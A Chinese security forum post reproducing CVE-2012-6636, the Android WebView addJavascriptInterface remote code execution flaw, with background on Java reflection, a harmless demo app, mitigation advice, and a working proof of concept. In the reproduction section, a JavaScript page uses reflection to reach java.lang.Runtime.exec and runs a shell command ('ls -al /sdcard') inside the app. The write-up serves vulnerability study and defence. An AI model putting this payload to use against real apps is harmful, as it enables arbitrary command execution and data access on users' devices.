首页
论坛
课程
招聘
[原创]CVE-2012-6636复现---Webview远程代码执行漏洞
2021-11-28 16:16 2490

[原创]CVE-2012-6636复现---Webview远程代码执行漏洞

2021-11-28 16:16
2490

参考几位大佬:
https://www.cnblogs.com/YenKoc/p/13589979.html
https://blog.csdn.net/u012195899/article/details/68942725
https://cloud.tencent.com/developer/article/1743487

WebView 远程代码执行漏洞位置:

WebView.addJavascriptInterface(Object obj, String interfaceName)

WebView 远程代码执行漏洞触发前提条件:

使用addJavascriptInterface方法注册可供JavaScript调用的Java对象;

 

使用WebView加载外部网页或者本地网页,且该网页中有恶意的js代码;

 

Android系统版本低于4.2;

WebView 远程代码执行漏洞原理:

Android系统通过WebView.addJavascriptInterface方法注册可供JavaScript调用的Java对象,以用于增强JavaScript的功能。但是系统并没有对注册Java类的方法调用的限制。导致攻击者可以利用反射机制调用未注册的其它任何Java类,最终导致JavaScript能力的无限增强。攻击者利用该漏洞可以根据客户端能力为所欲为。

修复建议

API Level 依赖的API Level为17或者以上,就不会受到该问题的影响
对于API Level 等于或低于17的Android系统:
建议不要使用addJavascriptInterface接口;
如果一定要用addJavascriptInterface:

 

如果使用HTTPS协议加载URL,应进行证书校验防止访问的页面被篡改挂马;
如果使用HTTP协议加载URL,应进行白名单过滤、完整性校验等防止访问的页面被篡改;
如果加载本地Html,应将html文件内置在APK中,以及进行对html页面完整性校验。

基础补充---java反射

参考:https://blog.csdn.net/tongdanping/article/details/103252352
为什么需要反射?(反射的作用/应用场景)
反射的作用可以用一句话概括:反射赋予了jvm动态编译的能力。动态编译可以最大限度的体现Java的灵活性(多态)。

 

否则类的元信息只能通过静态编译的形式实现(在编译期确定类型,绑定对象),而不能实现动态编译(在运行期确定类型,绑定对象)。也就是说在编译以后,程序在运行时的行为就是固定的了,如果要在运行时改变程序的行为,就需要动态编译,在Java中就需要反射机制。

情景一:不得已而为之

有的类是我们在编写程序的时候无法使用new一个对象来实例化对象的。例如:调用的是来自网络的二进制.class文件,而没有其.java代码;

情景二:动态加载(可以最大限度的体现Java的灵活性,并降低类的耦合性:多态)

有的类可以在用到时再动态加载到jvm中,这样可以减少jvm的启动时间,同时更重要的是可以动态的加载需要的对象(多态)。

情景三:避免将程序写死到代码里

因为java代码是先通过编译器将.java文件编译成.class的二进制字节码文件,因此如果我们使用new Person()来实例化对象person会出现的问题就是如果我们希望更换person的实例对象,就要在源代码种更改然后重新编译再运行,但是如果我们将person的实例对象类名等信息编写在配置文件中,利用反射的Class.forName(className)方法来实例化java对象(因为实例化java对象都是根据全限定名查找到jvm内存中的class对象,并根据class对象中的累信息实例化得到java对象,因此xml文件中只要包含了权限定类名就可以通过反射实例化java对象),那么我们就可以更改配置文件,无需重新编译。例如:

基础知识---学习addJavascriptInterface的使用

这个函数作用是:将java的一个对象映射成javascript的一个对象。这样js代码就可以直接调用java对象。

步骤1:首先再定义一个与JS对象映射关系的Android类:AndroidtoJs

在main_activity.java同目录下定义一个AndroidtoJS.java如下:

1
2
3
4
5
6
7
8
9
10
11
12
package com.example.testaddjs;
 
import android.webkit.JavascriptInterface;
 
public class AndroidtoJs extends Object{
    // 定义JS需要调用的方法
    // 被JS调用的方法必须加入@JavascriptInterface注解
    @JavascriptInterface
    public void hello(String msg) {
        System.out.println(msg);
    }
}

步骤2:将需要调用的JS代码以.html格式放到src/main/assets文件夹里

如图:创建一个assets文件夹
图片描述
需要加载JS代码:javascript.html

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8">
    <title>Carson</title>
    <script>
 
 
         function callAndroid(){
        // 由于对象映射,所以调用test对象等于调用Android映射的对象
            test.hello("js调用了android中的hello方法");
         }
      </script>
</head>
<body>
//点击按钮则调用callAndroid函数
<button type="button" id="button1" onclick="callAndroid()"></button>
</body>
</html>

步骤3:在Android里通过WebView设置Android类与JS代码的映射

通过addJavascriptInterface,把Android的对象映射成js的对象,这样js代码可以直接调用该android对象中的函数。

 

mainactivity.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
package com.example.testaddjs;
 
import androidx.appcompat.app.AlertDialog;
import androidx.appcompat.app.AppCompatActivity;
 
import android.content.DialogInterface;
import android.os.Bundle;
import android.view.View;
import android.webkit.JsResult;
import android.webkit.WebChromeClient;
import android.webkit.WebSettings;
import android.webkit.WebView;
import android.widget.Button;
 
public class MainActivity extends AppCompatActivity {
 
    WebView mWebView;
 
    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);
 
        mWebView = (WebView) findViewById(R.id.webview);
        WebSettings webSettings = mWebView.getSettings();
 
        // 设置与Js交互的权限
        webSettings.setJavaScriptEnabled(true);
 
        // 通过addJavascriptInterface()将Java对象映射到JS对象
        //参数1:Javascript对象名
        //参数2:Java对象名
        mWebView.addJavascriptInterface(new AndroidtoJs(), "test");//AndroidtoJS类对象映射到js的test对象
 
        // 加载JS代码
        // 格式规定为:file:///android_asset/文件名.html
        mWebView.loadUrl("file:///android_asset/javascript.html");
    }
}

另外

activity_main.xml代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?xml version="1.0" encoding="utf-8"?>
<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
    android:orientation="vertical"
    android:layout_width="match_parent"
    android:layout_height="match_parent">
 
 
    <WebView
        android:layout_width="match_parent"
        android:layout_height="match_parent"
        android:id="@+id/webview">
 
    </WebView>
 
 
</LinearLayout>

执行如下:
图片描述

漏洞复现

类似上面的过程。

步骤1:首先再定义一个与JS对象映射关系的Android类:AndroidtoJs

在main_activity.java同目录下定义一个AndroidtoJS.java如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
package com.example.testaddjs;
 
import android.webkit.JavascriptInterface;
 
public class AndroidtoJs extends Object{
    // 定义JS需要调用的方法
    // 被JS调用的方法必须加入@JavascriptInterface注解
    @JavascriptInterface
 
    public void hello(String msg) {
    //随便定义一个java函数,后面不会用到
        System.out.println(msg);
    }
}

步骤2:将需要调用的JS代码以.html格式放到src/main/assets文件夹里

如图:javascript.html

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<!DOCTYPE html>
<html>
<head>
    <script type="text/javascript">
   var i=0;
    function getContents(inputStream)
    {
      var contents = ""+i;
      var b = inputStream.read();
      var i = 1;
      while(b != -1) {
          var bString = String.fromCharCode(b);
          contents += bString;
          contents += "\n"
          b = inputStream.read();
      }
      i=i+1;
      return contents;
     }
 
     function execute(cmdArgs)
     {
      for (var obj in window) { //window是全局的计算环境,所有的对象都在里面
          console.log(obj);
          if ("getClass" in window[obj]) {
          //如果这个对象有getclass方法,则该对象就是我们下面步骤3中通过addJavascriptInterface传进js代码里的java对象。
              alert(obj);
              return window[obj].getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);
           }
       }
     }
 
     var res = execute(["/system/bin/sh", "-c", "ls -al /sdcard"]);
     document.write(getContents(res.getInputStream()));
 
</script>
</head>
<body>
</body>
</html>

步骤3:在Android里通过WebView设置Android类与JS代码的映射

通过addJavascriptInterface,把Android的对象映射成js的对象,这样js代码可以直接调用该android对象中的函数。

 

mainactivity.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
package com.example.testaddjs;
 
import androidx.appcompat.app.AppCompatActivity;
 
import android.os.Bundle;
import android.webkit.WebSettings;
import android.webkit.WebView;
 
public class MainActivity extends AppCompatActivity {
 
    WebView mWebView;
 
    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);
 
        mWebView = (WebView) findViewById(R.id.webview);
        WebSettings webSettings = mWebView.getSettings();
 
        // 设置与Js交互的权限
        webSettings.setJavaScriptEnabled(true);
 
        // 通过addJavascriptInterface()将Java对象映射到JS对象
        //参数1:Javascript对象名
        //参数2:Java对象名
        mWebView.addJavascriptInterface(new AndroidtoJs(), "injectObject");
 
        mWebView.loadUrl("file:///android_asset/javascript.html");
 
    }
}

另外

activity_main.xml代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?xml version="1.0" encoding="utf-8"?>
<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
    android:orientation="vertical"
    android:layout_width="match_parent"
    android:layout_height="match_parent">
 
 
    <WebView
        android:layout_width="match_parent"
        android:layout_height="match_parent"
        android:id="@+id/webview">
 
    </WebView>
 
 
</LinearLayout>

复现截图
如图所示,我们的html里面有恶意的js代码,执行了ls -al /sdcard命令,该命令的结果显示在APP了页面上(与在命令行中实际的执行结果相同)。
图片描述
综上,如果我们使用了addJavascriptInterface这个危险接口,则当我们引入的webview网页中有恶意的js代码时,则可以实现任意命令执行。


【公告】欢迎大家踊跃尝试高研班11月试题,挑战自己的极限!

收藏
点赞0
打赏
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回